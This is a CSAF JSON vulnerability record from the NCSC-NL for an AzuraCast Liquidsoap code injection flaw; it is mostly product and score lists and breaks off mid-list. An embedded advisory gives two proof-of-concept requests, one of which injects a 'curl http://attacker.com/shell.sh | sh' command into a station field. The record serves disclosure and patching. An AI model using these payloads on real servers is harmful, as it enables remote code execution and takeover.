{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-100857",
        "tracking": {
            "current_release_date": "2026-09-30T01:01:02.013916Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-100857",
            "initial_release_date": "2026-09-27T02:26:34.940687Z",
            "revision_history": [
                {
                    "date": "2026-09-27T02:26:34.940687Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-09-27T02:26:36.417233Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-09-27T07:35:42.733475Z",
                    "number": "3",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-27T12:13:47.930679Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (66).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-09-27T12:13:58.665393Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-27T12:31:02.858549Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (78).| Product Identifiers created (78).| Products created (1).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-09-27T12:31:14.800826Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-27T15:15:06.418722Z",
                    "number": "8",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-09-27T15:15:11.162377Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-28T12:42:17.083841Z",
                    "number": "10",
                    "summary": "CVSS created.| CWES created (1).| Products created (3).| References created (2).| Description created for source.| Unknown change.| Product Identifiers created (1)."
                },
                {
                    "date": "2026-09-28T12:42:19.909906Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-28T14:38:43.896119Z",
                    "number": "12",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-09-29T16:13:16.381395Z",
                    "number": "13",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-09-29T18:31:32.747247Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "14"
        }
    },
    "product_tree": {
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            {
                "branches": [
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                                "category": "product_version_range",
                                "name": "vers:semver/0.23.4",
                                "product": {
                                    "name": "vers:semver/0.23.4",
                                    "product_id": "CSAFPID-9478912"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:semver/<0.23.4",
                                "product": {
                                    "name": "vers:semver/<0.23.4",
                                    "product_id": "CSAFPID-9478913"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.0",
                                "product": {
                                    "name": "vers:unknown/0.10.0",
                                    "product_id": "CSAFPID-900146"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.1",
                                "product": {
                                    "name": "vers:unknown/0.10.1",
                                    "product_id": "CSAFPID-900151"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.2",
                                "product": {
                                    "name": "vers:unknown/0.10.2",
                                    "product_id": "CSAFPID-900158"
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                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.14.1",
                                "product": {
                                    "name": "vers:unknown/0.14.1",
                                    "product_id": "CSAFPID-900122"
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                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.15.0",
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                                    "name": "vers:unknown/0.15.0",
                                    "product_id": "CSAFPID-900117"
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                            },
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                                "category": "product_version_range",
                                "name": "vers:unknown/0.15.1",
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                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.15.2",
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                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.16.0",
                                "product": {
                                    "name": "vers:unknown/0.16.0",
                                    "product_id": "CSAFPID-900134"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.16.1",
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                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.17.0",
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                                    "name": "vers:unknown/0.17.0",
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                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.17.1",
                                "product": {
                                    "name": "vers:unknown/0.17.1",
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                            },
                            {
                                "category": "product_version_range",
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                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.17.3",
                                "product": {
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                                    "product_id": "CSAFPID-900133"
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                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.17.4",
                                "product": {
                                    "name": "vers:unknown/0.17.4",
                                    "product_id": "CSAFPID-900149"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.17.5",
                                "product": {
                                    "name": "vers:unknown/0.17.5",
                                    "product_id": "CSAFPID-900157"
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                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.17.6",
                                "product": {
                                    "name": "vers:unknown/0.17.6",
                                    "product_id": "CSAFPID-900124"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.17.7",
                                "product": {
                                    "name": "vers:unknown/0.17.7",
                                    "product_id": "CSAFPID-900136"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.18.0",
                                "product": {
                                    "name": "vers:unknown/0.18.0",
                                    "product_id": "CSAFPID-914863"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.18.1",
                                "product": {
                                    "name": "vers:unknown/0.18.1",
                                    "product_id": "CSAFPID-914864"
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                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.18.2",
                                "product": {
                                    "name": "vers:unknown/0.18.2",
                                    "product_id": "CSAFPID-4993113"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.18.3",
                                "product": {
                                    "name": "vers:unknown/0.18.3",
                                    "product_id": "CSAFPID-5264768"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.18.5",
                                "product": {
                                    "name": "vers:unknown/0.18.5",
                                    "product_id": "CSAFPID-5264769"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.19.0",
                                "product": {
                                    "name": "vers:unknown/0.19.0",
                                    "product_id": "CSAFPID-5264770"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.19.1",
                                "product": {
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                                    "product_id": "CSAFPID-5264771"
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                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.19.2",
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                                    "product_id": "CSAFPID-5264772"
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                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.19.3",
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                                    "name": "vers:unknown/0.19.3",
                                    "product_id": "CSAFPID-5264773"
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                                "category": "product_version_range",
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                            {
                                "category": "product_version_range",
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                                    "name": "vers:unknown/0.19.5",
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                                "category": "product_version_range",
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                                "category": "product_version_range",
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                                "category": "product_version_range",
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                                "product": {
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                            },
                            {
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                                    "product_id": "CSAFPID-900119"
                                }
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                                "product": {
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                            },
                            {
                                "category": "product_version_range",
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                                "product": {
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                            },
                            {
                                "category": "product_version_range",
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                                "product": {
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                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<=0.23.4",
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                                    "product_id": "CSAFPID-9478914",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:azuracast:azuracast:*:*:*:*:*:*:*:*"
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                        ],
                        "category": "product_name",
                        "name": "AzuraCast"
                    },
                    {
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                                "category": "product_version_range",
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                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.0",
                                "product": {
                                    "name": "vers:unknown/0.8.0",
                                    "product_id": "CSAFPID-5262516",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.8.0"
                                    }
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                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.0",
                                "product": {
                                    "name": "vers:unknown/0.9.0",
                                    "product_id": "CSAFPID-5262518",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.0"
                                    }
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                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.1",
                                "product": {
                                    "name": "vers:unknown/0.9.1",
                                    "product_id": "CSAFPID-5262519",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.2",
                                "product": {
                                    "name": "vers:unknown/0.9.2",
                                    "product_id": "CSAFPID-5262520",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.2"
                                    }
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                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.3",
                                "product": {
                                    "name": "vers:unknown/0.9.3",
                                    "product_id": "CSAFPID-5262521",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.4",
                                "product": {
                                    "name": "vers:unknown/0.9.4",
                                    "product_id": "CSAFPID-5262522",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.4.1",
                                "product": {
                                    "name": "vers:unknown/0.9.4.1",
                                    "product_id": "CSAFPID-5262523",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.4.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.4.2",
                                "product": {
                                    "name": "vers:unknown/0.9.4.2",
                                    "product_id": "CSAFPID-5262525",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.4.2"
                                    }
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                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.5",
                                "product": {
                                    "name": "vers:unknown/0.9.5",
                                    "product_id": "CSAFPID-5262526",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.5"
                                    }
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                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.5.1",
                                "product": {
                                    "name": "vers:unknown/0.9.5.1",
                                    "product_id": "CSAFPID-5262527",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.5.1"
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                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.6",
                                "product": {
                                    "name": "vers:unknown/0.9.6",
                                    "product_id": "CSAFPID-5262528",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.6.1",
                                "product": {
                                    "name": "vers:unknown/0.9.6.1",
                                    "product_id": "CSAFPID-5262529",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.6.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.6.2",
                                "product": {
                                    "name": "vers:unknown/0.9.6.2",
                                    "product_id": "CSAFPID-5262531",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.6.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.6.5",
                                "product": {
                                    "name": "vers:unknown/0.9.6.5",
                                    "product_id": "CSAFPID-5262532",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.6.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.7",
                                "product": {
                                    "name": "vers:unknown/0.9.7",
                                    "product_id": "CSAFPID-5262533",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.7.1",
                                "product": {
                                    "name": "vers:unknown/0.9.7.1",
                                    "product_id": "CSAFPID-5262534",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.7.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.8",
                                "product": {
                                    "name": "vers:unknown/0.9.8",
                                    "product_id": "CSAFPID-5262535",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.8.1",
                                "product": {
                                    "name": "vers:unknown/0.9.8.1",
                                    "product_id": "CSAFPID-5262537",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.8.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.9",
                                "product": {
                                    "name": "vers:unknown/0.9.9",
                                    "product_id": "CSAFPID-5262538",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/azuracast/azuracast@0.9.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<0.23.4",
                                "product": {
                                    "name": "vers:unknown/>=0|<0.23.4",
                                    "product_id": "CSAFPID-9474652"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "azuracast"
                    }
                ],
                "category": "vendor",
                "name": "AzuraCast"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-100857",
            "cwe": {
                "id": "CWE-94",
                "name": "Improper Control of Generation of Code ('Code Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "AzuraCast before 0.23.4 contains a code injection vulnerability in the ConfigWriter::cleanUpString() method that fails to sanitize Liquidsoap string interpolation sequences, allowing authenticated users with Media or Profile permissions to inject arbitrary Liquidsoap code into station configuration. Attackers can inject #{process.run()} expressions into playlist URLs or station metadata fields that execute shell commands as the azuracast user when the station restarts.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-100857"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nAzuraCast's `ConfigWriter::cleanUpString()` method fails to sanitize Liquidsoap string interpolation sequences (`#{...}`), allowing authenticated users with `StationPermissions::Media` or `StationPermissions::Profile` permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, `#{...}` expressions are evaluated, enabling arbitrary command execution via Liquidsoap's `process.run()` function.\n\n## Root Cause\n\n**File:** `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php`, line ~1345\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    return str_replace(['\"', \"\\n\", \"\\r\"], ['\\'', '', ''], $string ?? '');\n}\n```\n\nThis function only replaces `\"` with `'` and strips newlines. It does **NOT** filter:\n- `#{...}` — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)\n- `\\` — Backslash escape character\n\nLiquidsoap, like Ruby, evaluates `#{expression}` inside double-quoted strings. `process.run()` in Liquidsoap executes shell commands.\n\n## Injection Points\n\nAll user-controllable fields that pass through `cleanUpString()` and are embedded in double-quoted strings in the `.liq` config:\n\n| Field | Permission Required | Config Line |\n|---|---|---|\n| `playlist.remote_url` | `Media` | `input.http(\"...\")` or `playlist(\"...\")` |\n| `station.name` | `Profile` | `name = \"...\"` |\n| `station.description` | `Profile` | `description = \"...\"` |\n| `station.genre` | `Profile` | `genre = \"...\"` |\n| `station.url` | `Profile` | `url = \"...\"` |\n| `backend_config.live_broadcast_text` | `Profile` | `settings.azuracast.live_broadcast_text := \"...\"` |\n| `backend_config.dj_mount_point` | `Profile` | `input.harbor(\"...\")` |\n\n## PoC 1: Via Remote Playlist URL (Media permission)\n\n```http\nPOST /api/station/1/playlists HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>\n\n{\n    \"name\": \"Malicious Remote\",\n    \"source\": \"remote_url\",\n    \"remote_url\": \"http://x#{process.run('id > /tmp/pwned')}.example.com/stream\",\n    \"remote_type\": \"stream\",\n    \"is_enabled\": true\n}\n```\n\nThe generated `liquidsoap.liq` will contain:\n```liquidsoap\nmksafe(buffer(buffer=5., input.http(\"http://x#{process.run('id > /tmp/pwned')}.example.com/stream\")))\n```\n\nWhen Liquidsoap parses this, `process.run('id > /tmp/pwned')` executes as the `azuracast` user.\n\n## PoC 2: Via Station Description (Profile permission)\n\n```http\nPUT /api/station/1/profile/edit HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>\n\n{\n    \"name\": \"My Station\",\n    \"description\": \"#{process.run('curl http://attacker.com/shell.sh | sh')}\"\n}\n```\n\nGenerates:\n```liquidsoap\ndescription = \"#{process.run('curl http://attacker.com/shell.sh | sh')}\"\n```\n\n## Trigger Condition\n\nThe injection fires when the station is restarted, which happens during:\n- Normal station restart by any user with `Broadcasting` permission\n- System updates and maintenance\n- `azuracast:radio:restart` CLI command\n- Docker container restarts\n\n## Impact\n\n- **Severity:** Critical\n- **Authentication:** Required — any station-level user with `Media` or `Profile` permission\n- **Impact:** Full RCE on the AzuraCast server as the `azuracast` user\n- **CWE:** CWE-94 (Code Injection)\n\n## Recommended Fix\n\nUpdate `cleanUpString()` to escape `#` and `\\`:\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    return str_replace(\n        ['\"', \"\\n\", \"\\r\", '\\\\', '#'],\n        ['\\'', '', '', '\\\\\\\\', '\\\\#'],\n        $string ?? ''\n    );\n}\n```",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-93fx-5qgc-wr38.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "AzuraCast before 0.23.4 contains a code injection vulnerability in the ConfigWriter::cleanUpString() method that fails to sanitize Liquidsoap string interpolation sequences, allowing authenticated users with Media or Profile permissions to inject arbitrary Liquidsoap code into station configuration. Attackers can inject #{process.run()} expressions into playlist URLs or station metadata fields that execute shell commands as the azuracast user when the station restarts.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-100857"
                },
                {
                    "category": "description",
                    "text": "AzuraCast before 0.23.4 contains a code injection vulnerability in the ConfigWriter::cleanUpString() method that fails to sanitize Liquidsoap string interpolation sequences, allowing authenticated users with Media or Profile permissions to inject arbitrary Liquidsoap code into station configuration. Attackers can inject #{process.run()} expressions into playlist URLs or station metadata fields that execute shell commands as the azuracast user when the station restarts.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-100857.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00336",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "8.6",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "3.9",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is cwe data available from source Nvd, Is related to (a version of) an uncommon product, The value of the most recent CVSS (V3) score",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-900112",
                    "CSAFPID-900113",
                    "CSAFPID-900117",
                    "CSAFPID-900118",
                    "CSAFPID-900119",
                    "CSAFPID-900120",
                    "CSAFPID-900121",
                    "CSAFPID-900122",
                    "CSAFPID-900124",
                    "CSAFPID-900125",
                    "CSAFPID-900126",
                    "CSAFPID-900128",
                    "CSAFPID-900129",
                    "CSAFPID-900132",
                    "CSAFPID-900133",
                    "CSAFPID-900134",
                    "CSAFPID-900135",
                    "CSAFPID-900136",
                    "CSAFPID-900137",
                    "CSAFPID-900139",
                    "CSAFPID-900140",
                    "CSAFPID-900141",
                    "CSAFPID-900142",
                    "CSAFPID-900143",
                    "CSAFPID-900144",
                    "CSAFPID-900145",
                    "CSAFPID-900146",
                    "CSAFPID-900147",
                    "CSAFPID-900148",
                    "CSAFPID-900149",
                    "CSAFPID-900150",
                    "CSAFPID-900151",
                    "CSAFPID-900153",
                    "CSAFPID-900154",
                    "CSAFPID-900156",
                    "CSAFPID-900157",
                    "CSAFPID-900158",
                    "CSAFPID-900159",
                    "CSAFPID-900162",
                    "CSAFPID-900163",
                    "CSAFPID-900164",
                    "CSAFPID-914863",
                    "CSAFPID-914864",
                    "CSAFPID-4993113",
                    "CSAFPID-5263200",
                    "CSAFPID-5263201",
                    "CSAFPID-5264768",
                    "CSAFPID-5264769",
                    "CSAFPID-5264770",
                    "CSAFPID-5264771",
                    "CSAFPID-5264772",
                    "CSAFPID-5264773",
                    "CSAFPID-5264774",
                    "CSAFPID-5264775",
                    "CSAFPID-5264776",
                    "CSAFPID-5264777",
                    "CSAFPID-5264778",
                    "CSAFPID-5264779",
                    "CSAFPID-5264780",
                    "CSAFPID-5264781",
                    "CSAFPID-5264782",
                    "CSAFPID-5264783",
                    "CSAFPID-5264784",
                    "CSAFPID-5264785",
                    "CSAFPID-5363883",
                    "CSAFPID-6770992",
                    "CSAFPID-5262459",
                    "CSAFPID-5262460",
                    "CSAFPID-5262461",
                    "CSAFPID-5262462",
                    "CSAFPID-5262463",
                    "CSAFPID-5262464",
                    "CSAFPID-5262465",
                    "CSAFPID-5262466",
                    "CSAFPID-5262467",
                    "CSAFPID-5262468",
                    "CSAFPID-5262469",
                    "CSAFPID-5262470",
                    "CSAFPID-5262471",
                    "CSAFPID-5262472",
                    "CSAFPID-5262473",
                    "CSAFPID-5262474",
                    "CSAFPID-5262475",
                    "CSAFPID-5262476",
                    "CSAFPID-5262477",
                    "CSAFPID-5262478",
                    "CSAFPID-5262479",
                    "CSAFPID-5262480",
                    "CSAFPID-5262481",
                    "CSAFPID-5262482",
                    "CSAFPID-5262483",
                    "CSAFPID-5262484",
                    "CSAFPID-5262485",
                    "CSAFPID-5262486",
                    "CSAFPID-5262487",
                    "CSAFPID-5262488",
                    "CSAFPID-5262489",
                    "CSAFPID-5262490",
                    "CSAFPID-5262491",
                    "CSAFPID-5262492",
                    "CSAFPID-5262493",
                    "CSAFPID-5262494",
                    "CSAFPID-5262495",
                    "CSAFPID-5262496",
                    "CSAFPID-5262497",
                    "CSAFPID-5262498",
                    "CSAFPID-5262499",
                    "CSAFPID-5262500",
                    "CSAFPID-5262501",
                    "CSAFPID-5262502",
                    "CSAFPID-5262503",
                    "CSAFPID-5262504",
                    "CSAFPID-5262505",
                    "CSAFPID-5262506",
                    "CSAFPID-5262507",
                    "CSAFPID-5262508",
                    "CSAFPID-5262509",
                    "CSAFPID-5262510",
                    "CSAFPID-5262511",
                    "CSAFPID-5262512",
                    "CSAFPID-5262513",
                    "CSAFPID-5262514",
                    "CSAFPID-5262515",
                    "CSAFPID-5262516",
                    "CSAFPID-5262518",
                    "CSAFPID-5262519",
                    "CSAFPID-5262520",
                    "CSAFPID-5262521",
                    "CSAFPID-5262522",
                    "CSAFPID-5262523",
                    "CSAFPID-5262525",
                    "CSAFPID-5262526",
                    "CSAFPID-5262527",
                    "CSAFPID-5262528",
                    "CSAFPID-5262529",
                    "CSAFPID-5262531",
                    "CSAFPID-5262532",
                    "CSAFPID-5262533",
                    "CSAFPID-5262534",
                    "CSAFPID-5262535",
                    "CSAFPID-5262537",
                    "CSAFPID-5262538",
                    "CSAFPID-6612080",
                    "CSAFPID-6612081",
                    "CSAFPID-9474652",
                    "CSAFPID-9478913",
                    "CSAFPID-9478914"
                ],
                "known_not_affected": [
                    "CSAFPID-9478912"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-93fx-5qgc-wr38.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100857"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss"
                },
                {
                    "category": "external",
                    "summary": "Source - ncscclear",
                    "url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-100857"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-100857.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-100857"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; nvd; osv",
                    "url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-93fx-5qgc-wr38"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; nvd; osv",
                    "url": "https://www.vulncheck.com/advisories/azuracast-before-0.23.4-remote-code-execution-via-liquidsoap-string-interpolation"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/100xxx/CVE-2026-100857.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100857"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/AzuraCast/AzuraCast/commit/d04b5c55ce0d867bcb87f49f7082bf8edbcd360c"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/AzuraCast/AzuraCast/commit/ff49ef4d0fa571a3661abff6d0a9546ba3ed5df5"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.4"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
                        "baseScore": 8.7,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-4993113",
                        "CSAFPID-5262459",
                        "CSAFPID-5262460",
                        "CSAFPID-5262461",
                        "CSAFPID-5262462",
                        "CSAFPID-5262463",
                        "CSAFPID-5262464",
                        "CSAFPID-5262465",
                        "CSAFPID-5262466",
                        "CSAFPID-5262467",
                        "CSAFPID-5262468",
                        "CSAFPID-5262469",
                        "CSAFPID-5262470",
                        "CSAFPID-5262471",
                        "CSAFPID-5262472",
                        "CSAFPID-5262473",
                        "CSAFPID-5262474",
                        "CSAFPID-5262475",
                        "CSAFPID-5262476",
                        "CSAFPID-5262477",
                        "CSAFPID-5262478",
                        "CSAFPID-5262479",
                        "CSAFPID-5262480",
                        "CSAFPID-5262481",
                        "CSAFPID-5262482",
                        "CSAFPID-5262483",
                        "CSAFPID-5262484",
                        "CSAFPID-5262485",
                        "CSAFPID-5262486",
                        "CSAFPID-5262487",
                        "CSAFPID-5262488",
                        "CSAFPID-5262489",
                        "CSAFPID-5262490",
                        "CSAFPID-5262491",
                        "CSAFPID-5262492",
                        "CSAFPID-5262493",
                        "CSAFPID-5262494",
                        "CSAFPID-5262495",
                        "CSAFPID-5262496",
                        "CSAFPID-5262497",
                        "CSAFPID-5262498",
                        "CSAFPID-5262499",
                        "CSAFPID-5262500",
                        "CSAFPID-5262501",
                        "CSAFPID-5262502",
                        "CSAFPID-5262503",
                        "CSAFPID-5262504",
                        "CSAFPID-5262505",
                        "CSAFPID-5262506",
                        "CSAFPID-5262507",
                        "CSAFPID-5262508",
                        "CSAFPID-5262509",
                        "CSAFPID-5262510",
                        "CSAFPID-5262511",
                        "CSAFPID-5262512",
                        "CSAFPID-5262513",
                        "CSAFPID-5262514",
                        "CSAFPID-5262515",
                        "CSAFPID-5262516",
                        "CSAFPID-5262518",
                        "CSAFPID-5262519",
                        "CSAFPID-5262520",
                        "CSAFPID-5262521",
                        "CSAFPID-5262522",
                        "CSAFPID-5262523",
                        "CSAFPID-5262525",
                        "CSAFPID-5262526",
                        "CSAFPID-5262527",
                        "CSAFPID-5262528",
